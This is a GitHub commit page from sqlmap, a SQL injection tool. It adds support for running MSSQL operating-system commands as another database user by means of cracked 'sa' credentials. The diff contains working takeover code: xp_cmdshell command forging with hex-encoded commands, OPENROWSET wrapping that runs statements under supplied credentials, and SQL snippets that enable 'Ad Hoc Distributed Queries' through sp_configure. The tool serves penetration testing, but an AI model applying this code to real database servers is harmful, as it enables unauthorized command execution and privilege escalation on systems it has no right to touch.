Skip to content

Commit 6697927

Browse files
committedJul 2, 2012
initial support for --dbms-cred for MSSQL: can be used to execute OS commands as another DB use - useful if you have retrieved and cracked the 'sa' DBA password by any mean and can provide it to sqlmap
1 parent 87951bc commit 6697927

File tree

6 files changed

+62
-5
lines changed

6 files changed

+62
-5
lines changed
 

‎lib/request/direct.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -45,8 +45,8 @@ def direct(query, content=True):
4545
logger.log(9, query)
4646

4747
output = hashDBRetrieve(query, True, True)
48-
4948
start = time.time()
49+
5050
if not select and "EXEC " not in query:
5151
_ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
5252
elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):

‎lib/takeover/abstraction.py

+34
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
from extra.safe2bin.safe2bin import safechardecode
99
from lib.core.common import dataToStdout
1010
from lib.core.common import Backend
11+
from lib.core.common import getSPQLSnippet
1112
from lib.core.common import isTechniqueAvailable
1213
from lib.core.common import readInput
1314
from lib.core.data import conf
@@ -16,6 +17,7 @@
1617
from lib.core.enums import PAYLOAD
1718
from lib.core.exception import sqlmapUnsupportedFeatureException
1819
from lib.core.shell import autoCompletion
20+
from lib.request import inject
1921
from lib.takeover.udf import UDF
2022
from lib.takeover.web import Web
2123
from lib.takeover.xp_cmdshell import xp_cmdshell
@@ -139,7 +141,39 @@ def shell(self):
139141

140142
self.runCmd(command)
141143

144+
def __initRunAs(self):
145+
if not conf.dCred:
146+
return
147+
148+
if not conf.direct and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
149+
errMsg = "stacked queries is not supported hence sqlmap cannot "
150+
errMsg += "execute statements as another user. The execution "
151+
errMsg += "will continue and the DBMS credentials provided "
152+
errMsg += "will simply be ignored"
153+
logger.error(errMsg)
154+
155+
return
156+
157+
if Backend.isDbms(DBMS.MSSQL):
158+
msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
159+
msg += "is disabled by default. This function is needed to execute "
160+
msg += "statements as another DBMS user since you provided the "
161+
msg += "--dbms-creds switch. If you are DBA, you can enable it. "
162+
msg += "Do you want to enable it? [Y/n] "
163+
choice = readInput(msg, default="Y")
164+
165+
if not choice or choice in ("y", "Y"):
166+
expression = getSPQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
167+
inject.goStacked(expression)
168+
169+
# TODO: add support for PostgreSQL
170+
#elif Backend.isDbms(DBMS.PGSQL):
171+
# expression = getSPQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
172+
# inject.goStacked(expression)
173+
142174
def initEnv(self, mandatory=True, detailed=False, web=False):
175+
self.__initRunAs()
176+
143177
if self.envInitialized:
144178
return
145179

‎lib/takeover/xp_cmdshell.py

+17-1
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
from lib.core.enums import DBMS
2222
from lib.core.enums import HASHDB_KEYS
2323
from lib.core.exception import sqlmapUnsupportedFeatureException
24+
from lib.core.settings import SQL_STATEMENTS
2425
from lib.core.threads import getCurrentThreadData
2526
from lib.core.unescaper import unescaper
2627
from lib.request import inject
@@ -147,14 +148,29 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
147148
if cmd:
148149
self.xpCmdshellExecCmd(cmd)
149150

151+
def xpCmdshellForgeRunAs(self, query):
152+
if conf.dCred:
153+
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
154+
for sqlStatement in sqlStatements:
155+
if query.lower().startswith(sqlStatement):
156+
sqlType = sqlTitle
157+
break
158+
159+
if sqlType and "SELECT" not in sqlType:
160+
query = "SELECT 1;%s" % query
161+
162+
query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
163+
164+
return query
165+
150166
def xpCmdshellForgeCmd(self, cmd):
151167
self.__randStr = randomStr(lowercase=True)
152168
self.__cmd = "0x%s" % hexencode(cmd)
153169
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
154170
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
155171
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
156172

157-
return self.__forgedCmd
173+
return self.xpCmdshellForgeRunAs(self.__forgedCmd)
158174

159175
def xpCmdshellExecCmd(self, cmd, silent=False):
160176
cmd = self.xpCmdshellForgeCmd(cmd)

‎procs/README.txt

+3-3
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
1-
Files in this folder represent SPL/SQL snippets used
2-
by sqlmap on the target system. They are licensed under the terms of
3-
the GNU Lesser General Public License.
1+
Files in this folder represent SPL/SQL snippets used by sqlmap on the target
2+
system. They are licensed under the terms of the GNU Lesser General Public
3+
License.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
EXEC master..sp_configure 'show advanced options', 1;
2+
RECONFIGURE WITH OVERRIDE;
3+
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
4+
RECONFIGURE WITH OVERRIDE;
5+
EXEC sp_configure 'show advanced options', 0;
6+
RECONFIGURE WITH OVERRIDE;
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%');

0 commit comments

Comments
 (0)
Please sign in to comment.